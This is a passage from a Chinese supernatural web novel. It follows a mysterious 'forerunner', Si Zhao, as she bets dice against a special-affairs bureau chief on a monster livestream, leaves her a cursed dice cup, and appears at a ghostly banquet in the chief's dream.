水花溅起,白色绣鞋落下,不染尘埃。
*
没有受过专业训练的人在危险的情况下脑子会懵,会本能地跟着指示走。
穆霖跟着姒昭的话走,直到走出去还晕晕乎乎的。
消防车的嗡鸣响起,随之而来的还有治安官。
还有……特处局的人。
穆霖心里一紧,她不自觉回头看整家酒吧。
火势不大,看情况无人伤亡,更别说异种的身影。
她有些懵,那么怎么会招来特处局的人?
特处局不是专门处理异种相关事物的吗?
雨滴落下,她茫然地抬头,恰好某一滴落在眉心。
下雨了吗?
穆霖转头环顾四周,无数把样式花纹各异的伞被撑开,看的人眼花缭乱。
很快,有人来到她面前亮出来证件:
“穆霖小姐,您好,我们是特处局的成员”
“请和我们走一趟”
穆霖的脑袋一片空白,直到进入官方场所,看见大屏上的监控画面。
“穆霖小姐,请问,你是否认识画面中的人?”
她坐在这里,看着监控中的自己主动走向那樽观音像,嗓音干涩难听:
“我……和她说过话”
接下来,她一五一十地讲述了,那天晚上,她和【巫山】先行者交谈的内容。
而这,将改变很多东西。
49.接触
特处局。
开会,开会,又是开会。
从晚上开到白天,又从白天开到晚上。
为异种直播间开会,为阿美莉卡发布的死活显示不出人像的通缉令开会,为那段在世界范围内传播、写着【巫山】二字的视频开会。
说起视频——由于视频里无可否认地写着中文,她们还得应对国际上的事务。
由于阿美莉卡这个国家太过抽象,她们甚至有点怀疑通缉令和视频都是其自导自演。
但是,今晚酒吧里发生的事告诉她们,这一切,好像,确实是真的。
会议室里,大家统一的满脸沧桑。端着保温杯的,满脸疲倦的,但当坐到会议桌前,所有人又都换上了凝重的神色。
大屏再次开始工作,酒吧里的影像重播,尤其是姒昭出场的片段更是被重复观看研究,生怕错过了什么信息。
她的每一个表情、动作都有人来解读,搭配穆霖提供的对话资料反复研读。
有人想截个屏放国际频道问问这是不是阿美莉卡通缉令里那个恐怖分子,然后……变雪花屏了。
难怪通缉令上没有人像。
……但总觉得事态更加严重了是怎么回事。
有人眉头紧锁,忽而长叹;有人端起茶盏又放下,最终只是无奈地抹了把脸。
玄乎,很玄乎。
上次让她们发出这种感叹还是灵气复苏之初。
灵气复苏打破了当时的秩序,重建新秩序,而此刻姒昭的出现无疑是打破了现在的秩序,至于接下来是什么样,她们都无法预料。
监控录像,她们仔细看了,穆霖提供的资料,她们也细细读了听了。
但问题是,即使抛开什么国际事务啊异种啊——
【神域】又是个什么?
满世界的异种还没处理完,怎么又冒出来个神域了?
灵气复苏后遗症?
特处局比对完天眼系统,没有找到此人的任何资料。
技术人员勘验完现场,没有发现任何遗留样本,即使是在她搭过手的那张桌子上也没有发现半根头发或者半枚指纹。
反倒是,发现了异种残留的痕迹。
再结合那位“先行者”口中的捕猎,某种惊世骇俗的猜想浮现在众人脑海里:
她的猎物,不会是异种吧?
不能吧?
还有,根据酒吧里那位调酒师提供的信息,她自称是被鬼脸惊吓到才会失手以至火灾发生的,但是她们排查过现场,那里只存在一只异种的气息。
那么,调酒师看到的是什么?
“先行者”又为何能预测、或者说造成其“失误”?
那鬼脸与她是什么关系?
疑点重重。
满怀沧桑地抹了把脸,成珞道:
“首先,我们需要给这位【先行者】建档立卡,创建一个专门属于她的数据库。这样,她再次出现的时候天眼系统就会提示我们。”
“这一点,我们信息组的同志已经在准备了”
不知其来处姓名,她们最终以姒昭在和穆霖交谈时提及的“先行者”称呼她。
“其次,我们需要做好准备,在并不遥远的未来,甚至就是此刻,现在,我们有一场硬仗要打”
作为坞城特处局主事人,成珞居于主位,目光有如实质般扫过众人:
“同志们,现在的情况你们也看到了,异种未除,未知的神域又出现,且资料里目标人物自称先行者,也就是说,还会有更多的、和她一样的存在现世”
“更重要的是,这位先行者自诩良善,却能纵火行凶,更何况她口中的其它存在?”
“先行者又提及【她】在注视我们,若此言为真……”
她的神情严肃:
“我们从未察觉自己在被注视,这本身就很能说明问题”
“至于捕猎一说……我们尚不能盖棺定论,无法断定其与异种的关系”
“但是,无论如何,巫山也好,异种也罢,我们要守好我们的世界,决不能将其拱手相让。”
这里的每一个人,都有同样的信念。
就在这时,有人匆匆推门而入:
“异种直播间开启直播了!”
在座的人齐齐转头,瞳孔中有着掩不住的情绪。
……
如今这个时代,纵使夜色降临,城市里也纵使灯火通明,热闹喧嚣。
但是,再热闹的地方,官方划定了警戒线,那不能进就是不能进。
比如此刻的管栎游乐园。
管栎游乐园是一座小型游乐园,本身存在的时间比较长,各种设施从外观上看都显得灰扑扑的,里面的陈设、娱乐项目对于大多数年轻人来讲也是老掉牙毫无吸引力的。
在这种情况下,这座游乐园变得愈发冷清。
不过,真正让它被拉警戒线的原因是:这里囚禁着异种,不止一只。
姒昭曾经对这个世界异能者与异种、科技产物力量悬殊的疑问是正确的。
放到华国的修行者身上,她们的修炼进度依旧缓慢无比,同异能者没有差别。
火器可以处理部分有实体的异种,科技与灵力相结合产出的设备可以检测异种,但面对无形无影之物,它们和管栎游乐场的设备一样灰扑扑。
但是不可能因为难搞就放任异种四处游荡伤人,最终,特处局的修行者出面布下灵阵,将异种围困于此使其不得为非作歹,又在外围拉上警戒线禁止民众入内。
这是她们当时能给出的最好的解决办法。
到现在为止,这座游乐场的设备已经很久未曾启动了。
但此刻,它在黑夜中亮着光芒,如同夜空上最璀璨的一颗星。
巨大的摩天轮变化着五颜六色的光彩,缓缓转动着,如梦如幻,显得尤为突出。
直播间内,很快有人认出这是哪里:
【我去!!!我去!!!】
【你别去】
【不是啊!那是管栎游乐场!!!】
【我是没去!哪个大聪明闯进去了???想害死谁
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??】
【你先别激动,首先,进去的不一定是人……】
因为开直播的不一定是人。
这点大家心照不宣。
【那也不行!我就在坞城!万一它把灵阵破坏了、把里面的东西放出来怎么办?】
【我们坞城人民还没活够啊喂!】
【先冷静,首先讨论,这个地方重不重要?重要外围是不是有警戒线?有的话那绝对还有无数卫星、无数双眼睛盯着,怎么可能让人悄无声息闯进去?】
发言人说的有理有据,倒安抚了不少人慌乱的心。
【还有一个问题,这个直播间风格变了?它为什么直播外景?】
虽然大家总异口同声地叫它异种直播间,但其实,谁也没法断定它到底播什么。
如今,她们只能去探究变化产生的原因。
画面在移动,令人牙酸的声响从直播间传出。
“砰、嘎吱——滋、”
很杂乱,很难判断是什么发出来的声音。
观众只能透过看到,直播的镜头聚焦到了摩天轮上。
诚然,此刻缓缓转动的摩天轮显得璀璨夺目,但观众心里只有一个想法:
摄像头放在哪里?
那么高的摩天轮,想要以这种俯视的视角去拍摄,必须比摩天轮高才行。
难道是无人机?
像是在寻找目标,镜头开始晃动,又在几息后平缓下来,最终,定格在一白衣少年身上。
弹幕:
【?不是,真有人闯进管栎游乐场???】
【不是,异种直播间开始播人了?】
【不是,楼上的,你们凭什么假定这是个人?】
这话说的有理,不少人开始观察画面里的少年,开始分析这是不是人。
坞城特处局的人已经坐不住了。
刚刚还放在会议里讨论的存在再次现身,还是在如此特殊的地方,她们的心绪复杂无比。
忽然,画面里的人动了。
她突兀地转身,一双平静如水的眼睛毫无预兆地对上直播镜头。
隔着屏幕,她与数万人对视。
【!!!】
不少人被那一眼看的吓掉了手机,很奇怪,也没有什么恐怖的画面,但总感觉……直视她是什么大不敬的事。
要被砍头那种。
系统:她知道她知道,是在上个世界养出来的王霸之气,皇帝看人什么气势姒昭再比皇帝强一点就对了。
特处局,会议室里,领头的成珞被那一眼看的心头一跳。
明明隔着屏幕,她居然觉得,对方在看她。
错觉而已。
但是下一秒,现实告诉她,不是错觉。
直播间,姒昭对着镜头露出一个笑:
“成、珞”
“布下这座灵阵、定时来加固的小灵阵师,你是叫这个名字,对吧?”
隔着时空,踩着对方布下的阵,她对成珞微笑:
“你敢和我打个赌吗?”
50.赌
先行者在看她?
穿过屏幕看她?
会议室里,满座皆惊。
直播间内,弹幕疯狂刷新。
成珞心一沉,先行者为什么会知道她的名字?为什么会叫出她的名字?
至于她是修阵法一道、是灵阵师,管栎游乐场的灵阵出自她手,这反倒并非机密之事。
对于成珞的疑问,系统表示:
姒昭作为外来者,又有系统遮掩,自然不会在这个世界的网络信息库中留下任何痕迹。反倒是有她这个系统的辅助,姒昭想在资料库里查任何原住民的信息都简直易如反掌啊易如反掌。
系统能通过网络监测到成珞在看直播,姒昭只需要在系统提醒下看着镜头说出既定台词,被念到名字的成珞自然就会产生一种“姒昭无视时空直接与她对视并对话”的错觉。
会议室内,顶着众同僚的目光,成珞对着屏幕开口:
“赌?”
她回的巧妙,只一字,又是疑问的语气,可以是在问赌什么,又可以是在问为什么是与她赌。
与此同时,系统同步向姒昭传递了她的回答。
于是她看见,直播里白衣的先行者轻笑,游乐园里亮起的梦幻灯光不仅没有让她显得温和柔软,反倒将那笑衬的愈发冷。
先行者并不回答,她伸出手。
下一瞬,直播间原本屏息凝神静观事态发展的观众瞬间炸锅:
【!!!】
【靠北!!】
【骟!!!】
【不要鬼脸突袭啊!!!】
【新异种?】
【也可能是其它恶心东西!】
直播间内,姒昭依旧站在原地,白衣如雪,姿态平和,只是眼中又带着蔑视众生的冷。
不,不是蔑视。
她只是……看不见众生。
莫名的,有人打了个寒颤。
而她身后,像是把水熊虫放大无数倍,又将锋利的金属打磨成鲨鱼的牙齿,一颗一颗凿进蠕动的肉里,最终组成这个邪异的怪物。
此刻,一根纤细、橡皮泥一样可随意塑形的管道将怪物托举,与其巨大到占据整个屏幕、将白衣的姒昭衬得渺小的绞肉机脸颊一同出现在她身后。
纤长瘦弱的“管道”与硕大恶心、长满利齿的“脸”对比强烈,有人被吓到手机脱手而出,有人看着利齿间隙里蠕动的红肉忍不住呕吐。
即使直播里明知白衣的女子并非善茬,依旧有人下意识提醒:
【小心!】
【怪物会咬掉你的脑袋!】
姒昭不动,只是摊开手掌。
于是所有人看见,那堪称惊悚的怪物张开嘴,却不为咬掉谁的脑袋,仅是温顺乖巧地为她俯首,吐出一枚不起眼的骰盅。
事情的发展让人摸不着头脑,只是有人反应过来,能驱使如此可怕的怪物,那白衣女人才是最恐怖的存在。
成珞这边,她心跳如雷。
白衣的先行者注视着她,即使是隔着屏幕隔着时空,依然是一种注视。
她相当于直面这个恐怖的存在,承受着她人难以想象的压力。
更何况……对于这种存在来讲,真的“隔着时空”吗?
姒昭摇晃骰盅,随之响起的声音简直像是催命符。
她直视镜头,语调平缓:
“你猜,大,还是小”
屏幕这头的成珞不自觉咬住下唇,有殷红的血珠自唇上渗出。
太荒诞了。
成珞想。
哪怕是赌能不能破掉她曾经布下的阵,她也不会如现在一样,有如在梦中、被戏弄的感觉。
但是怎么会是,像路边的赌鬼醉鬼神志不清说出的话语,或者某个讲冷笑话的人随口戏说的一句:
猜骰子,大或者小。
这几乎是她处理异常事件以来最棘手的一次。
她们这边对对方的了解几乎为零,不知来处,不知目的,但对方先是戏耍特处局般的纵火又不伤人、毫不避讳地与民众交谈、不惧留下线索,又在极端了的时间内破了外围警戒线踏入她布下的灵阵……
如今更是在万千民众见证下与她对赌。
成珞无法预料赌输了会怎样,或许对方身后那扭曲怪诞的绞肉机会穿过时空一口咬掉她的脑袋?
但是有一点她是可以肯定的,这是直播,直播里有无数民众在看着,到时候这段视频会在世界范围内传播,全世界都会看到这场赌局。
而她代表的是特处局。
华国特处局。
即使,她只是坞城特处局的话事人,即使坞城只是华国无数城市里的一座城,可是那也是华国的城池、华国的特处局。
甚至往大了说,她是人类,而对面那位,自称【巫山】先行者的存在,神也好异种的变种也罢,那不是人。
此刻,没有人能帮她。
气氛变得凝重起来,空气仿佛有千斤重般压在人的身上。
额角不知何时沁出汗水,攥紧的拳头内侧留下指甲的印记,这是她一个人的战役。
荒诞诡异的战役。
“是大”
那一刻周身所有的一切都消融了,世界归于虚无,大脑放空,她只能听见自己的声音响起。
真奇怪,就好像以往她从来没有认真听过自己的声音一样。
成珞听见命运被宣判的声音,她自己的声音。
大屏幕上,白衣女人揭开了盖子。
成珞眼睛一眨不眨地盯着直播画面,连呼吸在这一刻都停止了。
终于,她闭上眼,释然地吐出一口浊气。
劫后余生。
六个点,她赢了。
镜头这边,姒昭看着手中的骰子,幽幽开口:
“啊,输掉了呢”
直播间在短暂沉寂后疯狂刷起了弹幕:
【我去!赢了!】
【我们赢了!!!】
【她输了!怪物输了!!!】
【我就知道特处局精英不会输!!】
虽然不知道在燃什么,但刚刚的气氛过于到位,观众也不自觉被感染。
然而,下一瞬
“砰!”
突兀的巨响炸开。
这一声巨响将喜悦中的众人拉回直播间,白衣先行者神色淡然,只是手中的骰子已不见踪影。
唯余……未散尽的粉末。
“呼——”
姒昭轻轻吹散骰子爆炸后留下的粉末,望向镜头的目光依然沉静。
刚刚那场赌局的输赢,于她似乎没有任何影响。
倒是部分观看直播的人望着纷纷扬扬落下的骰子粉末心一紧,如果说输掉的下场是爆炸,那如果刚刚成珞输了,爆炸的岂不就是……
思及此,有人满脸后怕地咽了口唾沫。
“【她】果然,偏爱你们”
直播间里,白衫女人声音寒凉如雪。
姒昭隔着屏幕与成珞对视,语气中带上了几分困惑:
“但是为什么呢?”
【不是,什么情况?】
【她在说什么?】
【什么偏爱?】
【谁?谁偏爱谁?】
【我错过了什么吗?怎么今天这个直播我一点都看不懂?】
会议室里,成珞同样满心困顿。
电光火石间,她开始翻找穆霖留下的笔录:
〔穆霖:她(先行者)提及过有某种存在在注视我们
记录员:某种存在?注视?抱歉,您的意思是,她(先行者)说过人类在被某种未知存在观察吗?
穆霖:不(摇头又自我否定),不是整个人类,在这句话之前我反驳过关于“恐怖分子”的内容,我和她(先行者)谈话、也可能是争论(穆霖自语:我那时候可能酒精上头了)过阿美莉卡发布的、将她(先行者)定义为恐怖分子的通缉令
穆霖:从这一点上看我给她(先行者)科普了人类社会中国家与国家是不同的这个知识点
穆霖:结合我们当时的话,她(先行者)当时说的“被注视者”仅仅指华国/华国人〕
看着资料,穆霖猛然抬头直视直播。
如果她没弄错,先行者此刻谈及的“偏爱对象”就是穆霖猜测的:华国,或者华国人。
甚至正是因为这份“偏爱”,她在刚才的赌大小活动里赌对了!
——事到如今,成珞的心慢慢平静下来后逐渐想明白了,这种存在跟她赌大小绝对不是人类理解的普通骰子游戏。
至少,身为绝对弱势的一方,她不可能赢那种怪物才对。
有什么东西在偏帮她。
而那位偏帮她的存在,才是先行者真正的对赌对象。
果然,
直播间内,先行者微微皱起了眉头:
“所以可以告诉我吗,你为什么偏爱她们?”
屏幕前,有人一头雾水,有人迅速扔掉手中的电子设备:
“靠北!”
“不是吧?”
华国,分布在不同方位的无数人同步环视四方,一种被时刻监视的恶寒布满全身。
比起意识到自己在被“注视”更恐怖的是,她们在那一刻意识到了……监视,或者说,看着她们的存在,是什么。
没有缓冲时间,直播镜头开始闪烁抖动。
会议室里,满室成员看着闪烁的屏幕倒吸一口冷气,惊恐、讶异、不可置信……复杂到难以言表的情绪充斥着内心。
她们都明白过来,先行者口中一直在注视她们的,正是她们以为的,【直播镜头】。
有句很出名、几乎听到耳朵都起茧子,无需刻意去背也能现场吟诵的话浮现在众人心底:
当你凝视着深渊的时候,深渊也在凝视着你。
很老套,但莫名应景。
你怎么知道,是你坐在屏幕前观看直播,而不是你正在被直播观看?
你如何确定是你在凝视她人,而非自己是被凝视对象?
无数人在这一秒意识到,一直以来,当她们嬉笑怒骂,以异种直播间消遣娱乐时,直播间也在消遣她们。
“对了,这就对了……”
有人喃喃自语,脸上的表情似哭似笑:
“最开始,最开始我们就是被强行拉进直播间的啊!”
“是直播在选择〔观众〕,是我们自以为自己是〔观众〕!”
“我们,从来就不能选择退出与否”
这个直播,根本就——关不掉。
想通关窍,无数人眼中,那直播设备成了一只只连同深渊的眼睛,无人敢再靠近。
尤其想到此前直播间内的异种,她们记得会有一只手压制着不许异种作乱,该不会——是直播间的手吧?!
很多人脑子里已经浮现出一只巨大的、无数复眼组成的大眼睛身上长出两只人手、直播异种的场景了。
直播外,当即有人被吓到哭出来。
镜头里先行者的声音还在继续:
“为什么偏爱某一部分人类呢?”
“有什么特殊之处吗?”
直播外,有人在崩溃,有人在恐惧,同样有人执着地等待答案。
所以,这个直播和先行者是一样的,按先行者的说法,她们都来自【巫山】
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摸清其对华国态度不同的原因,是极为重要的事。
特处局,成珞没有后退,依旧全神贯注注视着屏幕。
然而,
“滋——滋啦——”
天不遂人愿,没有字幕,没有答案,短暂的闪烁过后,直播结束,一切归于寂静。
特处局的人极速前往管栎游乐场,那里已不见姒昭的身影。
与之一同消失的,还有原本被困于此地的无实体异种。
……
但是,某些奇异的事情并未因此结束。
比如……
“咦?”
当天,成珞发现自己桌上多了某样熟悉的东西。
一个骰盅。
和直播间里出现的那个,一模一样。
成珞惊愕地愣在原地,她很清楚,这里是特处局,不可能有人开这种玩笑。
唯一的可能是,这就是今天那个,决定事情走向、她的命运的骰盅。
也意味着,先行者悄无声息地进入过坞城特处局的大本营而未惊动任何人!
心绪复杂,成珞最终还是伸手触碰了骰盅。
触碰到那一刻,有信息霸道地灌入她的脑海:
【爆头骰蛊:
来打个赌吧,你赢了我就爆掉骰子,我赢了你就爆掉脑袋
当前骰子数量:3
注:骰蛊会偏向其主人,但双方实力差距过大时,骰蛊将偏向实力强大的一方】
成珞罕见的有几分茫然,这算什么?
……
系统空间内,已经恢复小女孩模样的辛格瓦缩在一旁安静如鸡。
姒昭沉默地进食,吞噬着从管栎游乐场捕捉到的、并无形体的异种。
她好像有点明白“黑梦”里的那些奖状是如何改造她的身体的。
比如出科有实体的异种,她无需调动饱腹值也能感知到无实体的异种;
比如此刻,一根根猩红的血线连接着她手背上的血管,无实体异种的生机和力量正输液一样进入她的身体,化作温暖的饱腹值。
当然,如有必要,她也可以放弃“输液”这种温和低效的进食方式,选择更为高效的方式——撕碎并直接吞吃异种。
还有很重要的一点。
姒昭将眼神投向了乔伊的尸体。
唔,很神奇,这具尸体居然还没进焚化炉而是得以留在系统空间。
姒昭吃掉了寄生在其脑海里的异种【缠丝绕】,于是这具尸体从红名(食材/异种)变成了黄名(人类但异能者),此刻,系统面板上则显示他是绿名(人类凡人:不被寄生、无异能)。
这一切变化产生的根源则是,姒昭从他神识里——按华夏文化,姑且称之为神识——捕猎到了新的东西。
按姒昭的判断来讲,那是异能者/修行者吸收灵气并将其转化为自身力量——按照华国文化讲,这叫灵力——与异种身上存在的能量的结合体。
感谢黑梦给予的奖励,得到“奖状”的姒昭本能的、无师自通的,将二者剥离开来。
这个举动之后,她看见了,充盈此方世界的灵气,与在干扰、侵蚀、污染灵气的、异种的力量。
而这两种相互角力的力量,本该你强我弱、水火不容的力量,居然以异能者/修行者的身体为发酵的温床,融合形成了崭新的力量。
甚至异能者吸纳灵气充盈起的灵力是其催化剂。
【叮——】
【恭喜宿主获得称号“真相发掘者”】
【揭开世界的面纱,你看见一切的真相】
【异种吞吃人类,异种的力量吞吃人类的灵气,那么,谁在吞吃世界?】
【或者,你,选择吞吃什么?】
望着系统面板,姒昭手指微动,她看着面前被剥离分开的两团能量,最终选择——
再次将其合并。
把玩着因混合而显得混浊的能量团,姒昭无所谓地微笑:
她为什么非得按照系统提供的思路走呢?
她作为【食神】,本就是特殊的啊。
就如同两种相斥的力量在异能者身体里混合一样让人觉得难以置信,她这个【食神】可以将这份力量从异能者身体里剥离出来、且还能分开。
她也很特殊。
能量在她手中翻转,食客揉捏这团能量就像幼童揉捏橡皮泥。
最终,骰盅在她手中成型。
同时,系统的声音再次响起:
【恭喜宿主获得称号“农民”】
【你在种植吗?或者是在创造】
【你拥有土地般宽厚深沉的力量,即使是最贫瘠的土壤,也托举起无数生灵;即使是最肥沃的土壤,也吞噬过无数生灵】
【地里长出的庄稼,你选择将它作为食物还是商品?】
姒昭浅笑,【菜谱】在她手中更新:
【食材(庄稼):爆头骰盅】
【是否消耗混种创造骰子?】
混种——灵气与异种所有之魔力融合形成的力量。
【消耗混种×8,创造骰子×4】
当然,如果姒昭愿意,她完全可以消耗更多混种创造更强大的骰子。
花费10点混种创造的骰子必然比花费2点混种创造的强大。
不过,暂时没必要。
以目前的情况,够用了。
于是,直播开启,食神的剧本以世界为舞台开始演出。
而今,姒昭于系统空间闭目养神,耳畔传来系统的实时播报:
“宿主,成珞已经接收到【爆头骰盅】”
姒昭睁开眼,展颜轻笑。
51.夜雨
与往常一样,这次的直播内容也在联通世界的因特网上疯传。
尤其是现在姒昭回到华国不再让系统限制传播范围,如今哪里有因特网,哪里就有直播的录屏内容。
各种言论雨后春笋般冒出,即使是再迟钝的人也能看出【巫山】来客与异种的不同:
【等等等等!意思是,灵气复苏几年来我们还没搞清楚异种灵气和人类的关系,现在又有新东西冒出来了是吗?】
【有人注意到画面里那个白衣女人的举止言谈完全就和人类一样吗?根据我们对异种的了解,异种模仿不到这个地步吧?】
【白衣女身后的大头满脸牙齿的怪物是异种吗?还是也是巫山来客?】
【没人在意直播其实也是个怪物这事吗……这样说来每次被强行拉入直播间岂不是被强行拉入怪物的眼睛、看它在看的东西?】
【谁知道它现在是不是也在看着我们。。。】
【直播和白衣女是什么关系?怎么感觉白衣女好像挺尊敬(甚至是依赖?)直播镜头?】
【那个什么打赌玩骰子猜大小那里,白衣女其实是在跟直播镜头打赌哎……】
【其实照你们这样说,根据白衣女和直播镜头的关系来分析,真正重要的是还有一堆未知怪物从“巫山”涌出来,且这些怪物之间是存在某种联系的】
【没人关心猜大小里那个骰盅吗?那是什么东西?感觉很像小说漫画里的道具/神器/灵器】
……
官方在处理事务,因特网上来自世界各地的网民也在做各种分析。
无人在意的角落,阿美利卡,看到最新直播的教会成员心中百感交集,心绪复杂,无从得知她们内心的想法,但是可以看到,始终显示不出名字和人像的通缉令被撤销了。
形势严峻,却也有人为此狂欢。
除去分析帖外,一些怪异血腥的帖子也只多不少,毕竟即使是灵气复苏之前,各地的x教组织或恐怖组织也只多不少。
不少教徒自称找到了新的神新的信仰,开始为【巫山】献上祭品。
当然,也不乏厌恶巫山者,坚持除自己信奉的神外一切皆为异端。
风云变幻。
……
【叮——】
【恭喜你达成成就“翻手为云”
无需刻意,世界也会因你而喧嚣】
系统空间内,姒昭指尖轻点桌面。
这个世界的系统模板和上个世界不同,运行方式也不一样。
至少,上个世界她很轻易就能打出一堆成就,但这个世界似乎没有那么多可打出的成就。
只有,枯燥无味、按部就班的【任务】。
【任务三:座上宾
得到邀请前往宴席品菜,使众人承认你食神的身份】
的确,总不能身为食神系统的宿主,自己却还没有被承认食神的身份。
看着任务内容,姒昭撑首一笑。
她确实没法细致地描述一道菜哪里好哪里不好,也不可能像影视剧里的食神一样入口即知火候、用料、食材新鲜程度。
但这不影响她完成任务。
手指在桌面上画圈,姒昭开始思考:谁会成为那个被选中的幸运儿呢?
*
特处局。
成珞不清楚姒昭为何将那骰盅交给她,但她很明白这东西的危险性及意义重大。
调查组、行动组、检验组围着研究,还是没搞明白这东西的原理。
“一摸就能把信息自动灌入脑子里……跟灵器也不太一样啊?”
“用仪器检验过了,和目前已知、佛门道门给出的灵物都不一样”
“而且它为什么能直接爆掉失败者的脑袋?这有点像诅咒而不是灵器吧?”
……
在大堆人围着爆头骰盅研究时,隔壁休息室的成珞陷入了梦魇。
鉴于近期发生的事情以及成珞承受的压力,局里一致决定让她先去休息,至少先养足精力。
因此,当局里的行动组、调查组、信息组在研究近期大事及骰盅时,成珞在休息室补觉。
然而成珞睡的并不安稳。
隔绝了外界关于异种、巫山、直播、先行者的争论,她听见淅淅沥沥的雨声。
成珞在梦里睁开眼,半梦半醒间模糊了感知。
雨点砸落,她第一秒
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想起的居然是姒昭那双白色绣鞋。
她在监控里见过的,答案酒吧出事那一晚,也有夜雨落下,白衣的先行者也是踩着雨水消失在人群里,雨水没有沾湿她半片衣角。
恍惚间场景变化,似有身轻如烟的侍者上前递上拜帖,又浅笑着温声邀她前往:
“镇魔使得那位大人青睐,如此一来,我家主人的宴席也不能漏了您”
如果成珞清醒,她就会发现面前的侍者和特处局特聘顾问——胡家出马仙——所召唤的清风烟魂无比相似,都是鬼魂类生物。
但此刻梦境与现实混淆,她竟毫无所觉地接下了那帖子,甚至没发觉对方看似邀请,实则不给选择直接拉着她走向目的地。
当然,更别提对方口中对她的称呼:镇魔使。
梦境里,成珞顺从地接纳了对方的一切。
无所觉地被带到目的地,看着像古代大户人家的宅院,她暗暗感叹此地华美,被带着穿过月洞门,走向一扫之前冷清,定睛一看,是座戏台。
整座戏台以木结构为主,配雕刻楹联、匾额,尽显华丽繁复之美。
成珞认得出,它属北方建筑中的“三面观”戏台。
所谓三面观,就是指在戏台柱后砌山墙隔断为前后台,而前台两边不砌墙,以便观众可以分坐在左、中、右三面看戏的布局。*
此时布置好十数张茶桌,成排悬挂的灯笼在风中微晃。茶桌呈半圆弧状分布,将戏台围在中间。
本该是带着复古怀旧风格的场面,但不知为何,成珞只觉得莫名压抑。
她抬头,只能看清戏台四角高高翘起的屋顶和大致的轮廓,就像看一个伏在暮光中的巨兽。
没给她反应时间,奏乐声响起,在铜锣的节拍中,几个穿着戏服,面绘油彩的人鱼贯登台。
四周响起了鼎沸人声,成珞的脑子昏昏沉沉。
滞涩的大脑缓慢运转着,她发现自己看不清周围。
但是,很快,在一片喧嚣里她精准地抓住了某片衣角——如此熟悉。
真奇怪,明明没有真的面对面见过,她就这样凭借那么一眼抓住了那片衣角。
“先行者!”
52.宴飨
“先行者!”
成珞的声音乍响,吸引了所有周围所有怪物的目光。
那些怪异的,不成人形的,趴在天花板上的,怪物将目光投向了唯一的人类。
梦境是打翻的茶水,潮湿而氤氲着悠远的香气。
梦里的视角很奇怪,成珞看到了这座大宅绿树流水,看到了高高挂起的大红灯笼,看到了暮色里兽一样蛰伏着的戏台。
而此刻,她看见的是戏台底座上繁复的花纹。
也正是因此,她才能于怪物中准确地伸手去抓那一角白衣,喊出那句先行者。
但此刻,那些目光有如实质般落在身上,纵使身经百战,成珞依旧在想:
我是不是做错了?
我只是想抓住救命稻草,怎么反倒抓住了怪物中的怪物?
——异种之中,并非所有厉害的都长相与人类接近,但越是外形类人,越是危险,这是一定的。
可梦不讲道理,梦里做什么也由不得成珞控制。
她已经做了,而世上没有后悔药。
但是,可以肯定的一点是,先行者的地位超乎她想象的高。
她率先出声,先行者未曾表现出厌恶,于是周围的怪物也只能率先转向她道:
“大人,向您问安……”
无数或惶恐或惊喜的声音里,成珞努力地抬头去看先行者。
她看见那雪一样、绣着暗纹的绣鞋就这样停在面前,抬头去看,于昏黄朦胧里对上姒昭的眼。
观音低眉垂首,不外如是。
清浅,淡然,像怜悯众生,又似无悲无喜。
一片静默里率先响起的是另一道率性响亮的女声,甚至于成珞觉得那声音里带着几分轻佻:
“哈——”
“今朝为邀娘子赴宴、讨得娘子欢心,我可是费了大功夫!这拜帖,娘子可还喜欢?”
于是那片茶渍一样的梦境里,除去姒昭一身雪衣,又闯进大片夺目的红。
正如白衣先行者站在这里其余怪物就不敢发声一样,此刻敢于用如此嚣张随性的语气说话的自然也非凡人。
那片红出现的刹那,一股难言的威压在这里蔓延开来,空气仿佛有千斤重——不,不是仿佛,而是此刻,真的有无形的力量压在她们身上!
目之所及,无一人不是匍匐在地,以最原始、最直白的方式,对来者献上忠诚与臣服。
而成珞本人,则是根本没有反抗的余地。
像是迷雾缓缓散开,她看见大红的戏袍。
漫天红纸纷飞,像一场别致的葬礼。
接着拿红纸延长生长,藤蔓般捆住了成珞。
嬉笑声响起:
“此人为镇魔使,又身怀灵物气息,姒娘子初来乍到却愿给出灵物,可见对其青眼有加”
说话的人声调抑扬顿挫,一字一句皆如珠玉般敲在人心上,莫名的,成珞明明身陷险境,心中却生出一股难言的喜悦。
那声音还在继续:
“难得见姒娘子对什么感兴趣,既如此——”
“嘻——”
那大红戏服的衣角随她的动作翩跹翻飞,愈发靠近成珞面前姒昭的白衣。
“我便将她绑来,杀了吃肉,好款待姒娘子~”
那声音还是一样活泼、纯真、又带着几分刻意的魅,却如惊雷一样劈中了成珞。
刚升起还未持续多久的无名喜悦被那句“杀了吃肉”击落,成珞猛然从情绪中惊醒。
那人说话,和她们说杀一只猪没区别。
正心惊,忽听另一道声音响起,平和,淡然,一如直播中她听过的:
“戏,你知晓的,吾不食人”
是先行者。
也就是,那大红喜服的怪物——成珞暂时无法确认其为异种,故称怪物——口中的“姒娘子”。
当然,此刻脑子昏沉的成珞根本没法分辨是那个“si”。
但至少她知道了,先行者被称为姒娘子,而那绑她来此的怪物,则是“戏”。
戏开口道:
“如今的人间算不得人间,人自然也算不得人”
怪物的红戏袍凑近了雪白的衣角:
“娘子素爱的人间烟火,如今只怕也——难寻”
“也正是因此,戏才斗胆设宴,望博娘子一笑啊”
说着,她的语调渐趋平缓,尾音里带上了几分叹息。
然而成珞已察觉这个怪物善以音惑人,这次没再中计。
被束缚着只能瞧见别人的裤脚,成珞也未擅自行动。
如今敌我双方实力差距过大,妄动不是良策。
反倒是——这位姒娘子,或许她的生机就在这位身上。
毕竟从先前的直播和那枚骰盅身上看,直播镜头和这位姒娘子,都对她表现出了几分兴趣,应该暂时不会杀她。
至于戏,很明显,虽不知二者关系,但她明显畏惧姒娘子。
思绪万千,眼前的衣角动了。
姒昭于落座,而那红衣的戏立在身旁做她的侍。
她虔诚的声音响起:
“娘子,戏也想成为您万千信徒中的一个”
凛冽如雪的声音响起:
“戏,我知你爱游戏人间,你亦知我无所谓信徒与否,你要做任何事,都不必扯我做掩饰”
“那几位不会因为我而对你另眼相看”
她的语气平静,却自带让人敬畏的气息。
戏于是不再搬弄那灵巧、自带蛊惑气息的口舌,
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罕见地沉默下来。
她也明白,这等存在不是她可以随意招惹的。
对方懒得理的时候尚且还好,若是对方计较起来,即使同样出自【巫山】,她这等存在又怎能与之抗衡?
本该热闹的戏台在这沉默里显得灰扑扑的,恐惧在这里滋生。
这种氛围下,成珞甚至觉得戏的花言巧语也变得可爱起来——至少比这让人窒息的沉默好。
